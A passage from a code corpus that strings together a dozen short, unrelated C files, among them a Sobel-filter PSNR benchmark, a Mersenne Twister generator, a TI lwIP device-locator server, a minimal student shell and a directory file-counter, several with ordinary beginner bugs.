else if (right > q && left <= q) {
int mid = (left + right) / 2;
if (mid <= q) {
if ((mid - left) > max) {
max = mid - left;
ans = mid;
}
}
else {
if ((q - left) > max) {
max = q - left;
ans = q;
}
}
}
else if (left < p && p <= right) {
int mid = (left + right) / 2;
if (mid >= p) {
if ((mid - left) > max) {
max = mid - left;
ans = mid;
}
}
else {
if ((right - p) > max) {
max = right - p;
ans = p;
}
}
}
left = a[i];
}
if (q >= a[n - 1]) {
if ((q - a[n - 1]) > max) {
max = q - a[n - 1];
ans = q;
}
}
printf("%d\n", ans);
free(a);
return 0;
}
|
the_stack_data/140271.c | extern const unsigned char taskAppVersionString[];
extern const double taskAppVersionNumber;
const unsigned char taskAppVersionString[] __attribute__ ((used)) = "@(#)PROGRAM:taskApp PROJECT:taskApp-1" "\n";
const double taskAppVersionNumber __attribute__ ((used)) = (double)1.;
|
the_stack_data/36074972.c | int a = 2;
int main() {
return ++a;
}
|
the_stack_data/56504.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int num = atoi(argv[1]);
//if (num <= 100 && num > 0)exit(1);
int *vetora = malloc(num * sizeof(int));
int *vetorb = malloc(num * sizeof(int));
for (int i = 0; i <= num; i++)
{
vetora[i] = i * 2;
vetorb[i] = i * 3;
}
float produto = 0;
for (int i = 0; i < num; i++) produto += vetora[i] * vetorb[i];
free(vetora);
free(vetorb);
printf("o produto escalar = '%0.f'\n", produto);
return 0;
} |
the_stack_data/71242.c | #include<stdio.h>
#include<stdlib.h>
typedef struct {
char name[30];
short year;
float mark;
}STD;
void FindMax(STD*,int);
void UpdateMarks(STD*);
STD* AreaExpand(int);
int main() {
STD stds[3],stds1,stds2,*stdsptr;
int i,n=3;
for(i=0; i<n; i++) {
scanf("%s %d %d",stds[i].name,&stds[i].year,&stds[i].mark);
}
FindMax(stds,n);
scanf("%s %d %d",stds2.name,&stds2.year,&stds2.mark);
UpdateMarks(&stds2);
stdsptr=AreaExpand(n);
return 0;
}
void FindMax(STD* stds, int n) {
int i,max=0;
for(i=0; i<n; i++) {
if(stds[i].mark>max) {
max=stds[i].mark;
}
}
printf("%d",max);
}
void UpdateMarks(STD* stds) {
if((*stds).year<18) {
(stds->mark)++;
}
}
STD* AreaExpand(int n) {
return (STD*)calloc(n,sizeof(STD));
}
|
the_stack_data/206393542.c | // This will apply the sobel filter and return the PSNR between the golden sobel and the produced sobel
// sobelized image
#include <stdio.h>
#include <math.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
#include <errno.h>
#define SIZE 4096
#define INPUT_FILE "input.grey"
#define OUTPUT_FILE "output_sobel.grey"
#define GOLDEN_FILE "golden.grey"
///// Look-up table /////
const double lutable[2]={4.816479930623699,16777216};
/* The horizontal and vertical operators to be used in the sobel filter */
char horiz_operator[3][3] = {{-1, 0, 1},
{-2, 0, 2},
{-1, 0, 1}};
char vert_operator[3][3] = {{1, 2, 1},
{0, 0, 0},
{-1, -2, -1}};
double sobel(unsigned char *input, unsigned char *output, unsigned char *golden);
int convolution2D(int posy, int posx, const unsigned char *input, char operator[][3]);
/* The arrays holding the input image, the output image and the output used *
* as golden standard. The luminosity (intensity) of each pixel in the *
* grayscale image is represented by a value between 0 and 255 (an unsigned *
* character). The arrays (and the files) contain these values in row-major *
* order (element after element within each row and row after row. */
unsigned char input[SIZE*SIZE], output[SIZE*SIZE], golden[SIZE*SIZE];
/* Implement a 2D convolution of the matrix with the operator */
/* posy and posx correspond to the vertical and horizontal disposition of the *
* pixel we process in the original image, input is the input image and *
* operator the operator we apply (horizontal or vertical). The function ret. *
* value is the convolution of the operator with the neighboring pixels of the*
* pixel we process. */
int convolution2D(int posy, int posx, const unsigned char *input, char operator[][3]) {
int i, j, res;
res = 0;
for (j = -1; j <= 1; j++) {
for (i = -1; i <= 1; i++) {
res += input[(posy + i)*SIZE + posx + j] * operator[i+1][j+1];
}
}
return(res);
}
/* The main computational function of the program. The input, output and *
* golden arguments are pointers to the arrays used to store the input *
* image, the output produced by the algorithm and the output used as *
* golden standard for the comparisons. */
double sobel(unsigned char *input, unsigned char *output, unsigned char *golden)
{
double PSNR = 0, t;
int i, j;
unsigned int p;
int res;
struct timespec tv1, tv2;
FILE *f_in, *f_out, *f_golden;
/* The first and last row of the output array, as well as the first *
* and last element of each column are not going to be filled by the *
* algorithm, therefore make sure to initialize them with 0s. */
memset(output, 0, SIZE*sizeof(unsigned char));
memset(&output[SIZE*(SIZE-1)], 0, SIZE*sizeof(unsigned char));
for (i = 1; i < SIZE-1; i++) {
output[i*SIZE] = 0;
output[i*SIZE + SIZE - 1] = 0;
}
/* Open the input, output, golden files, read the input and golden *
* and store them to the corresponding arrays. */
f_in = fopen(INPUT_FILE, "r");
if (f_in == NULL) {
printf("File " INPUT_FILE " not found\n");
exit(1);
}
f_out = fopen(OUTPUT_FILE, "wb");
if (f_out == NULL) {
printf("File " OUTPUT_FILE " could not be created\n");
fclose(f_in);
exit(1);
}
f_golden = fopen(GOLDEN_FILE, "r");
if (f_golden == NULL) {
printf("File " GOLDEN_FILE " not found\n");
fclose(f_in);
fclose(f_out);
exit(1);
}
fread(input, sizeof(unsigned char), lutable[1], f_in);
fread(golden, sizeof(unsigned char), lutable[1], f_golden);
fclose(f_in);
fclose(f_golden);
/* This is the main computation. Get the starting time. */
clock_gettime(CLOCK_MONOTONIC_RAW, &tv1);
/* For each pixel of the output image */
for (i=1; i<SIZE-1; i+=1 ) {
for (j=1; j<SIZE-1; j+=1) {
/* Apply the sobel filter and calculate the magnitude *
* of the derivative.
*/
p = pow(convolution2D(i, j, input, horiz_operator), 2) +
pow(convolution2D(i, j, input, vert_operator), 2);
res = (int)sqrt(p);
/* If the resulting value is greater than 255, clip it *
* to 255. */
if (res > 255)
output[i*SIZE + j] = 255;
else
output[i*SIZE + j] = (unsigned char)res;
}
}
/* Now run through the output and the golden output to calculate *
* the MSE and then the PSNR.
*/
for (i=1; i<SIZE-1; i++) {
t = ((output[i*SIZE+1] - golden[i*SIZE+1])-(output[i*SIZE+1] - golden[i*SIZE+1]));
PSNR += t;
t = ((output[i*SIZE+2] - golden[i*SIZE+2])*(output[i*SIZE+2] - golden[i*SIZE+2]));
PSNR += t;
for ( j=3; j<SIZE-1; j+=11 ) {
t = ((output[i*SIZE+j] - golden[i*SIZE+j])*(output[i*SIZE+j] - golden[i*SIZE+j]));
PSNR += t;
t = pow((output[i*SIZE+(j+1)] - golden[i*SIZE+(j+1)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+2)] - golden[i*SIZE+(j+2)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+3)] - golden[i*SIZE+(j+3)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+4)] - golden[i*SIZE+(j+4)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+5)] - golden[i*SIZE+(j+5)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+6)] - golden[i*SIZE+(j+6)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+7)] - golden[i*SIZE+(j+7)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+8)] - golden[i*SIZE+(j+8)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+9)] - golden[i*SIZE+(j+9)]),2);
PSNR += t;
t = pow((output[i*SIZE+(j+10)] - golden[i*SIZE+(j+10)]),2);
PSNR += t;
}
}
PSNR /= (double)(lutable[1]);
printf("PSNR is %g\n",PSNR);
PSNR = 10*(lutable[0]-log10(PSNR));
/* This is the end of the main computation. Take the end time, *
* calculate the duration of the computation and report it. */
clock_gettime(CLOCK_MONOTONIC_RAW, &tv2);
printf ("Total time = %10g seconds\n",
(double) (tv2.tv_nsec - tv1.tv_nsec) / 1000000000.0 +
(double) (tv2.tv_sec - tv1.tv_sec));
/* Write the output file */
fwrite(output, sizeof(unsigned char), lutable[1], f_out);
fclose(f_out);
return PSNR;
}
int main(int argc, char* argv[])
{
double PSNR;
PSNR = sobel(input, output, golden);
printf("PSNR of original Sobel and computed Sobel image: %g\n", PSNR);
printf("A visualization of the sobel filter can be found at " OUTPUT_FILE ", or you can run 'make image' to get the jpg\n");
return 0;
}
|
the_stack_data/519611.c | int XXX(int x){
long long i;
for(i = 0; i * i < x; i++);
if(i * i == x)
{
return i;
}
return i - 1;
}
|
the_stack_data/19800.c | //*****************************************************************************
//
// locator.c - A device locator server using UDP in lwIP.
//
// Copyright (c) 2009-2014 Texas Instruments Incorporated. All rights reserved.
// Software License Agreement
//
// Texas Instruments (TI) is supplying this software for use solely and
// exclusively on TI's microcontroller products. The software is owned by
// TI and/or its suppliers, and is protected under applicable copyright
// laws. You may not combine this software with "viral" open-source
// software in order to form a larger program.
//
// THIS SOFTWARE IS PROVIDED "AS IS" AND WITH ALL FAULTS.
// NO WARRANTIES, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING, BUT
// NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE APPLY TO THIS SOFTWARE. TI SHALL NOT, UNDER ANY
// CIRCUMSTANCES, BE LIABLE FOR SPECIAL, INCIDENTAL, OR CONSEQUENTIAL
// DAMAGES, FOR ANY REASON WHATSOEVER.
//
// This is part of revision 2.1.0.12573 of the Tiva Utility Library.
//
//*****************************************************************************
/*
#include <stdint.h>
#include "utils/locator.h"
#include "utils/lwiplib.h"
//*****************************************************************************
//
//! \addtogroup locator_api
//! @{
//
//*****************************************************************************
//*****************************************************************************
//
// These defines are used to describe the device locator protocol.
//
//*****************************************************************************
#define TAG_CMD 0xff
#define TAG_STATUS 0xfe
#define CMD_DISCOVER_TARGET 0x02
//*****************************************************************************
//
// An array that contains the device locator response data. The format of the
// data is as follows:
//
// Byte Description
// -------- ------------------------
// 0 TAG_STATUS
// 1 packet length
// 2 CMD_DISCOVER_TARGET
// 3 board type
// 4 board ID
// 5..8 client IP address
// 9..14 MAC address
// 15..18 firmware version
// 19..82 application title
// 83 checksum
//
//*****************************************************************************
static uint8_t g_pui8LocatorData[84];
//*****************************************************************************
//
// This function is called by the lwIP TCP/IP stack when it receives a UDP
// packet from the discovery port. It produces the response packet, which is
// sent back to the querying client.
//
//*****************************************************************************
static void
LocatorReceive(void *arg, struct udp_pcb *pcb, struct pbuf *p,
struct ip_addr *addr, u16_t port)
{
uint8_t *pui8Data;
uint32_t ui32Idx;
//
// Validate the contents of the datagram.
//
pui8Data = p->payload;
if((p->len != 4) || (pui8Data[0] != TAG_CMD) || (pui8Data[1] != 4) ||
(pui8Data[2] != CMD_DISCOVER_TARGET) ||
(pui8Data[3] != ((0 - TAG_CMD - 4 - CMD_DISCOVER_TARGET) & 0xff)))
{
pbuf_free(p);
return;
}
//
// The incoming pbuf is no longer needed, so free it.
//
pbuf_free(p);
//
// Allocate a new pbuf for sending the response.
//
p = pbuf_alloc(PBUF_TRANSPORT, sizeof(g_pui8LocatorData), PBUF_RAM);
if(p == NULL)
{
return;
}
//
// Calculate and fill in the checksum on the response packet.
//
for(ui32Idx = 0, g_pui8LocatorData[sizeof(g_pui8LocatorData) - 1] = 0;
ui32Idx < (sizeof(g_pui8LocatorData) - 1); ui32Idx++)
{
g_pui8LocatorData[sizeof(g_pui8LocatorData) - 1] -=
g_pui8LocatorData[ui32Idx];
}
//
// Copy the response packet data into the pbuf.
//
pui8Data = p->payload;
for(ui32Idx = 0; ui32Idx < sizeof(g_pui8LocatorData); ui32Idx++)
{
pui8Data[ui32Idx] = g_pui8LocatorData[ui32Idx];
}
//
// Send the response.
//
udp_sendto(pcb, p, addr, port);
//
// Free the pbuf.
//
pbuf_free(p);
}
//*****************************************************************************
//
//! Initializes the locator service.
//!
//! This function prepares the locator service to handle device discovery
//! requests. A UDP server is created and the locator response data is
//! initialized to all empty.
//!
//! \return None.
//
//*****************************************************************************
void
LocatorInit(void)
{
uint32_t ui32Idx;
void *pcb;
//
// Clear out the response data.
//
for(ui32Idx = 0; ui32Idx < 84; ui32Idx++)
{
g_pui8LocatorData[ui32Idx] = 0;
}
//
// Fill in the header for the response data.
//
g_pui8LocatorData[0] = TAG_STATUS;
g_pui8LocatorData[1] = sizeof(g_pui8LocatorData);
g_pui8LocatorData[2] = CMD_DISCOVER_TARGET;
//
// Fill in the MAC address for the response data.
//
g_pui8LocatorData[9] = 0;
g_pui8LocatorData[10] = 0;
g_pui8LocatorData[11] = 0;
g_pui8LocatorData[12] = 0;
g_pui8LocatorData[13] = 0;
g_pui8LocatorData[14] = 0;
//
// Create a new UDP port for listening to device locator requests.
//
pcb = udp_new();
udp_recv(pcb, LocatorReceive, NULL);
udp_bind(pcb, IP_ADDR_ANY, 23);
}
//*****************************************************************************
//
//! Sets the board type in the locator response packet.
//!
//! \param ui32Type is the type of the board.
//!
//! This function sets the board type field in the locator response packet.
//!
//! \return None.
//
//*****************************************************************************
void
LocatorBoardTypeSet(uint32_t ui32Type)
{
//
// Save the board type in the response data.
//
g_pui8LocatorData[3] = ui32Type & 0xff;
}
//*****************************************************************************
//
//! Sets the board ID in the locator response packet.
//!
//! \param ui32ID is the ID of the board.
//!
//! This function sets the board ID field in the locator response packet.
//!
//! \return None.
//
//*****************************************************************************
void
LocatorBoardIDSet(uint32_t ui32ID)
{
//
// Save the board ID in the response data.
//
g_pui8LocatorData[4] = ui32ID & 0xff;
}
//*****************************************************************************
//
//! Sets the client IP address in the locator response packet.
//!
//! \param ui32IP is the IP address of the currently connected client.
//!
//! This function sets the IP address of the currently connected client in the
//! locator response packet. The IP should be set to 0.0.0.0 if there is no
//! client connected. It should never be set for devices that do not have a
//! strict one-to-one mapping of client to server (for example, a web server).
//!
//! \return None.
//
//*****************************************************************************
void
LocatorClientIPSet(uint32_t ui32IP)
{
//
// Save the client IP address in the response data.
//
g_pui8LocatorData[5] = ui32IP & 0xff;
g_pui8LocatorData[6] = (ui32IP >> 8) & 0xff;
g_pui8LocatorData[7] = (ui32IP >> 16) & 0xff;
g_pui8LocatorData[8] = (ui32IP >> 24) & 0xff;
}
//*****************************************************************************
//
//! Sets the MAC address in the locator response packet.
//!
//! \param pui8MACArray is the MAC address of the network interface.
//!
//! This function sets the MAC address of the network interface in the locator
//! response packet.
//!
//! \return None.
//
//*****************************************************************************
void
LocatorMACAddrSet(uint8_t *pui8MACArray)
{
//
// Save the MAC address.
//
g_pui8LocatorData[9] = pui8MACArray[0];
g_pui8LocatorData[10] = pui8MACArray[1];
g_pui8LocatorData[11] = pui8MACArray[2];
g_pui8LocatorData[12] = pui8MACArray[3];
g_pui8LocatorData[13] = pui8MACArray[4];
g_pui8LocatorData[14] = pui8MACArray[5];
}
//*****************************************************************************
//
//! Sets the firmware version in the locator response packet.
//!
//! \param ui32Version is the version number of the device firmware.
//!
//! This function sets the version number of the device firmware in the locator
//! response packet.
//!
//! \return None.
//
//*****************************************************************************
void
LocatorVersionSet(uint32_t ui32Version)
{
//
// Save the firmware version number in the response data.
//
g_pui8LocatorData[15] = ui32Version & 0xff;
g_pui8LocatorData[16] = (ui32Version >> 8) & 0xff;
g_pui8LocatorData[17] = (ui32Version >> 16) & 0xff;
g_pui8LocatorData[18] = (ui32Version >> 24) & 0xff;
}
//*****************************************************************************
//
//! Sets the application title in the locator response packet.
//!
//! \param pcAppTitle is a pointer to the application title string.
//!
//! This function sets the application title in the locator response packet.
//! The string is truncated at 64 characters if it is longer (without a
//! terminating 0), and is zero-filled to 64 characters if it is shorter.
//!
//! \return None.
//
//*****************************************************************************
void
LocatorAppTitleSet(const char *pcAppTitle)
{
uint32_t ui32Count;
//
// Copy the application title string into the response data.
//
for(ui32Count = 0; (ui32Count < 64) && *pcAppTitle; ui32Count++)
{
g_pui8LocatorData[ui32Count + 19] = *pcAppTitle++;
}
//
// Zero-fill the remainder of the space in the response data (if any).
//
for(; ui32Count < 64; ui32Count++)
{
g_pui8LocatorData[ui32Count + 19] = 0;
}
}
//*****************************************************************************
//
// Close the Doxygen group.
//! @}
//
//*****************************************************************************
*/
|
the_stack_data/91704.c | #include<stdio.h>
#include<stdlib.h>
int n,k,a[1000],i,j,l[1010],r[1010],p[1010],q[1010];
long long N[1010],M[1010],H[1010];
int main()
{
scanf("%d",&n);
scanf("%d",&k);
for(i=0;i<n;i++)
{
scanf("%d",&a[i]);
}
for(i=1;i<k+1;i++)
{
scanf("%d%d",&l[i],&r[i]);
N[i]=0;
M[i]=1;
H[i]=0;
for(j=l[i];j<=r[i];j++)
{
N[i]=N[i]+(a[j]%n);
M[i]=(M[i]*a[j])%n;
}
M[i]=M[i]%n;
N[i]=N[i]%n;
//printf("%lld,%lld\n",M[i],N[i]);
p[i]=M[i]>N[i]?M[i]:N[i];
q[i]=M[i]<N[i]?M[i]:N[i];
for(j=q[i];j<=p[i];j++)
{
H[i]=H[i]^a[j];
}
printf("%lld\n",H[i]);
}
return 0;
} |
the_stack_data/170454169.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#define BUFSIZE 100
int pow2(int n)
{
if (n == 0)
return 1;
else
return 2 << (n-1);
}
int binaryToInt(char *binary, int size)
{
int result = 0;
for (int i = 0, j = size-1; i < size && j >= 0; i++, j--)
if (binary[i] == '1') result += pow2(j);
return result;
}
int main(void)
{
FILE *input = fopen("day3.txt", "r");
if (!input) {
perror("FileIOError: ");
exit(EXIT_FAILURE);
}
int col = 0;
char *buf = malloc(BUFSIZE * sizeof(char));
if (fgets(buf, BUFSIZE, input) <= 0) {
perror("FileIOError: ");
exit(EXIT_FAILURE);
}
rewind(input);
for (char *bufReader = buf; *bufReader != '\n'; bufReader++)
col++;
int row = 0;
while (fgets(buf, BUFSIZE, input) != 0)
row++;
rewind(input);
char **report = calloc(row, sizeof(char *));
for (int i = 0; i < row; i++) {
report[i] = malloc((col+1) * sizeof(char));
if (fscanf(input, "%s\n", report[i]) != 1) {
perror("FileIOError");
exit(EXIT_FAILURE);
}
}
char *gammaRateBin = calloc(col+1, sizeof(char));
char *epsilonRateBin = calloc(col+1, sizeof(char));
int gammaRate, epsilonRate;
int *count0 = calloc(col, sizeof(int));
int *count1 = calloc(col, sizeof(int));
for (int i = 0; i < col; i++) {
for (int j = 0; j < row; j++)
if (report[j][i] == '0')
count0[i]++;
else
count1[i]++;
if (count0[i] > count1[i])
strcat(&gammaRateBin[i], "0");
else
strcat(&gammaRateBin[i], "1");
}
for (int i = 0; i < col; i++) {
if (count0[i] < count1[i])
strcat(&epsilonRateBin[i], "0");
else
strcat(&epsilonRateBin[i], "1");
}
gammaRate = binaryToInt(gammaRateBin, col);
epsilonRate = binaryToInt(epsilonRateBin, col);
printf("Gamma Rate: %d\n", gammaRate);
printf("Epsilon Rate: %d\n", epsilonRate);
printf("Power Consumption: %d\n", gammaRate * epsilonRate);
free(count1);
free(count0);
free(epsilonRateBin);
free(gammaRateBin);
for (int i = 0; i < row; i++)
free(report[i]);
free(report);
free(buf);
fclose(input);
exit(EXIT_SUCCESS);
}
|
the_stack_data/98576095.c | #define N 624
#define M 397
#define MATRIX_A 0x9908b0dfUL /* constant vector a */
#define UPPER_MASK 0x80000000UL /* most significant w-r bits */
#define LOWER_MASK 0x7fffffffUL /* least significant r bits */
static unsigned long mt[N]; /* the array for the state vector */
static int mti=N+1; /* mti==N+1 means mt[N] is not initialized */
/* prototypes */
void init_by_array (unsigned long[], unsigned long);
long genrand_int31 (void);
double genrand_real1 (void);
double genrand_real3 (void);
double genrand_res53 (void);
/* initializes mt[N] with a seed */
void init_genrand(unsigned long s)
{
mt[0]= s & 0xffffffffUL;
for (mti=1; mti<N; mti++) {
mt[mti] =
(1812433253UL * (mt[mti-1] ^ (mt[mti-1] >> 30)) + mti);
/* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
/* In the previous versions, MSBs of the seed affect */
/* only MSBs of the array mt[]. */
/* 2002/01/09 modified by Makoto Matsumoto */
mt[mti] &= 0xffffffffUL;
/* for >32 bit machines */
}
}
/* initialize by an array with array-length */
/* init_key is the array for initializing keys */
/* key_length is its length */
void init_by_array(unsigned long init_key[], unsigned long key_length)
{
int i, j, k;
init_genrand(19650218UL);
i=1; j=0;
k = (N>key_length ? N : key_length);
for (; k; k--) {
mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1664525UL))
+ init_key[j] + j; /* non linear */
mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */
i++; j++;
if (i>=N) { mt[0] = mt[N-1]; i=1; }
if (j>=key_length) j=0;
}
for (k=N-1; k; k--) {
mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1566083941UL))
- i; /* non linear */
mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */
i++;
if (i>=N) { mt[0] = mt[N-1]; i=1; }
}
mt[0] = 0x80000000UL; /* MSB is 1; assuring non-zero initial array */
}
/* generates a random number on [0,0xffffffff]-interval */
unsigned long genrand_int32(void)
{
unsigned long y;
static unsigned long mag01[2]={0x0UL, MATRIX_A};
/* mag01[x] = x * MATRIX_A for x=0,1 */
if (mti >= N) { /* generate N words at one time */
int kk;
if (mti == N+1) /* if init_genrand() has not been called, */
init_genrand(5489UL); /* a default initial seed is used */
for (kk=0;kk<N-M;kk++) {
y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK);
mt[kk] = mt[kk+M] ^ (y >> 1) ^ mag01[y & 0x1UL];
}
for (;kk<N-1;kk++) {
y = (mt[kk]&UPPER_MASK)|(mt[kk+1]&LOWER_MASK);
mt[kk] = mt[kk+(M-N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
}
y = (mt[N-1]&UPPER_MASK)|(mt[0]&LOWER_MASK);
mt[N-1] = mt[M-1] ^ (y >> 1) ^ mag01[y & 0x1UL];
mti = 0;
}
y = mt[mti++];
/* Tempering */
y ^= (y >> 11);
y ^= (y << 7) & 0x9d2c5680UL;
y ^= (y << 15) & 0xefc60000UL;
y ^= (y >> 18);
return y;
}
|
the_stack_data/26699042.c |
#define _BSD_SOURCE // for usleep - has to be the first thing to declare
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <semaphore.h>
/* This is our thread function. It is like main(), but for a thread*/
void *threadFunc(void *arg)
{
char *str;
int i = 0;
str=(char*)arg;
while(i < 15 )
{
usleep(1);
printf("threadFunc says: %s\n",str);
++i;
}
return NULL;
}
int main(void)
{
pthread_t pth; // this is our thread identifier
int i = 0;
pthread_create(&pth,NULL,threadFunc,"foo");
while(i < 10)
{
usleep(1);
printf("main is running...\n");
++i;
}
printf("main waiting for thread to terminate...\n");
pthread_join(pth,NULL);
return 0;
}
|
the_stack_data/45449508.c | /*
* Benchmarks contributed by Divyesh Unadkat[1,2], Supratik Chakraborty[1], Ashutosh Gupta[1]
* [1] Indian Institute of Technology Bombay, Mumbai
* [2] TCS Innovation labs, Pune
*
*/
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
extern void __VERIFIER_assume(int);
void __VERIFIER_assert(int cond) { if(!(cond)) { ERROR: __VERIFIER_error(); } }
extern int __VERIFIER_nondet_int(void);
int N;
int main()
{
N = __VERIFIER_nondet_int();
if(N <= 0) return 1;
__VERIFIER_assume(N <= 2147483647/sizeof(int));
int i;
int a[N];
int sum1[1];
int sum2[1];
sum1[0] = 0;
sum2[0] = 0;
for(i=0; i<N; i++)
{
sum1[0] = sum1[0] + a[i];
sum2[0] = sum2[0] + a[N-i-1];
}
__VERIFIER_assert(sum1[0] == sum2[0]);
return 1;
}
|
the_stack_data/200142638.c | /*
* gen_malloc_pgfault.c
*
* When a process allocates a page with malloc(), it's only allocated
* *virtually*. When it touches the memory (rd/wr), the MMU triggers a
* page fault; the OS's fault handler is sophisticated: it figures out
* that this is a legal access; thus it allocates physical memory (via
* the buddy system allocator) and fixes up the paging tables (for current,
* such that the vp -> pf !
*
* This simple app emulates this malloc & touching of memory.
* Try tracing the kernel - the page fault handler - via tracing tools like
* ftrace.
*
* Author(s) :
* Kaiwan N Billimoria
* <kaiwan -at- kaiwantech -dot- com>
*
* License(s): [L]GPL
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
/*---------------- Macros -------------------------------------------*/
/*---------------- Typedef's, constants, etc ------------------------*/
/*---------------- Functions ----------------------------------------*/
int main (int argc, char **argv)
{
char *p=0;
p = malloc(getpagesize()); // typically 4k
if (!p) {
fprintf(stderr, "%s: out of memory!", argv[0]);
exit(1);
}
*(p+200)='a';
free(p);
exit (0);
}
|
the_stack_data/135567.c | /*
Brandon J Wong
[email protected]
October 2nd, 2014
Assignment 1 - Build a Simple Shell
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <errno.h>
#define MAX_CMD 10
#define MAX_BUF 512
#define MAX_PATH 1024
void show_prompt();
void parse_cmd();
void print_tok();
void set_path();
void fork_child();
void check_exit();
void process_cmd();
void handle_errors();
pid_t childPID;
char buf[MAX_BUF];
char *cmd[MAX_CMD];
char path[MAX_PATH];
int cmdCount;
int shellStatus = 1;
// Print the prompt, with the time inside
void show_prompt()
{
time_t curtime;
struct tm *loctime;
curtime = time(NULL);
loctime = localtime(&curtime);
printf("<");
if (loctime->tm_hour < 10) // Add a 0 digit if necessary.
printf("0%d:", loctime->tm_hour);
else
printf("%d:", loctime->tm_hour);
if (loctime->tm_min < 10) // Add a 0 digit if necessary.
printf("0%d#> ", loctime->tm_min);
else
printf("%d#> ", loctime->tm_min);
}
// This part breaks the string, buf[], into tokens and stores a pointer to each token into "cmd[]"
void parse_cmd()
{
int i;
char *p;
// reset cmd pointers to NULL, as the new set of commands hasn't been given yet
for (i=0; i<cmdCount; i++)
{
cmd[i] = NULL;
}
fgets (buf, MAX_BUF, stdin); // put user input in buffer
i = 0;
cmdCount = 0;
p = strtok (buf," \n"); // point to first token
while (p != NULL)
{
cmd[i++] = p; // set cmd[i] to token, i++
p = strtok (NULL, " \n"); // point to next token
cmdCount++; // count number of commands
}
}
/// This section iterates through "cmd[]" and displays each token on screen
void print_tok(char *cmd[], int cmdCount)
{
int i;
for (i=0;i<cmdCount; ++i)
{
printf("%s\n", cmd[i]);
}
}
void set_path()
{
char *bin = "/bin/";
strcpy(path, bin); // start with /bin/ as path
strcat(path, cmd[0]); // add the next filename of the program to be executed to path
}
void handle_errors()
{
if (errno == EACCES)
printf("error: permission is denied for file\n");
else if (errno == ENOEXEC)
printf("error: file header is not recognised\n");
else if (errno == ECHILD)
printf("error: process specified by pid does not exist\n");
}
void fork_child()
{
childPID = fork(); // fork the process
if (childPID == 0) // if the process is the child
{
// Child Process Work
execv(path, cmd);
handle_errors();
exit(EXIT_SUCCESS);
}
else if (childPID == -1) // if the fork failed
{
printf("error: fork failure\n");
exit(EXIT_FAILURE);
}
else // if the process is the parent
{
// Parent Process Work
waitpid(-1, 0, 0); // first argument set to -1 -> wait for any child process
}
}
void check_exit()
{
if (strcasecmp(cmd[0], "exit") == 0) // if exit is given as a command
shellStatus = 0; // allow loop to exit
}
void process_cmd()
{
if (cmd[0] != NULL) // if there is input to process
{
set_path();
fork_child();
check_exit();
}
}
int main ()
{
while(shellStatus)
{
show_prompt();
parse_cmd();
fflush(stdout);
process_cmd();
}
return 0;
}
|
the_stack_data/92894.c | /**
* dircnt.c - a fast file-counting program.
*
* Written 2015-02-06 by Christopher Schultz as a programming demonstration
* for a StackOverflow answer:
* https://stackoverflow.com/questions/1427032/fast-linux-file-count-for-a-large-number-of-files/28368788#28368788
*
* This code is licensed under the Apache License 2.0. Please read the file
* LICENSE for more information.
*
* Please see the README.md file for compilation and usage instructions.
*
* Thanks to FlyingCodeMonkey, Gary R. Van Sickle, and Jonathan Leffler for
* various suggestions and improvements to the original code. Any additional
* contributors can be found by looking at the GitHub revision history from
* this point forward..
*/
#include <dirent.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#if defined(WIN32) || defined(_WIN32)
#define PATH_SEPARATOR '\\'
#else
#define PATH_SEPARATOR '/'
#endif
#define EXIT_REACHED_LIMIT 0x01
#if defined(FEATURE_SIZE) && !PREFER_STAT
#error "FEATURE_SIZE needs PREFER_STAT"
#endif
/* A custom structure to hold separate file and directory counts */
struct filecount
{
unsigned long dirs;
unsigned long files;
#ifdef FEATURE_SIZE
unsigned long size_dirs;
unsigned long size_files;
#endif
};
/*
* counts the number of files and directories in the specified directory.
*
* path - relative pathname of a directory whose files should be counted
* counts - pointer to struct containing file/dir counts
*/
void
count(char* path, struct filecount* counts)
{
DIR* dir; /* dir structure we are reading */
struct dirent* ent; /* directory entry currently being processed */
char subpath[PATH_MAX]; /* buffer for building complete subdir and file names */
struct stat statbuf; /* buffer for stat() info. A call to lstat() might be
required even if _DIRENT_HAVE_D_TYPE is true
because ent->d_type might be DT_UNKNOWN */
int isdir; /* flag for a directory entry being a directory */
#ifdef FEATURE_SIZE
unsigned long size;
#endif
#ifdef DEBUG
fprintf(stderr, "Opening dir %s\n", path);
#endif
dir = opendir(path);
/* opendir failed... file likely doesn't exist or isn't a directory */
if (NULL == dir) {
perror(path);
return;
}
while ((ent = readdir(dir))) {
if (strlen(path) + 1 + strlen(ent->d_name) > PATH_MAX) {
fprintf(stdout,
"path too long (%ld) %s%c%s",
(strlen(path) + 1 + strlen(ent->d_name)),
path,
PATH_SEPARATOR,
ent->d_name);
return;
}
isdir = 0; /* reset isdir flag */
#ifdef FEATURE_SIZE
size = 0;
#endif
#ifdef DEBUG
fprintf(stderr, "Considering %s%c%s\n", path, PATH_SEPARATOR, ent->d_name);
#endif /* DEBUG */
/* Use dirent.d_type if present, otherwise use stat() */
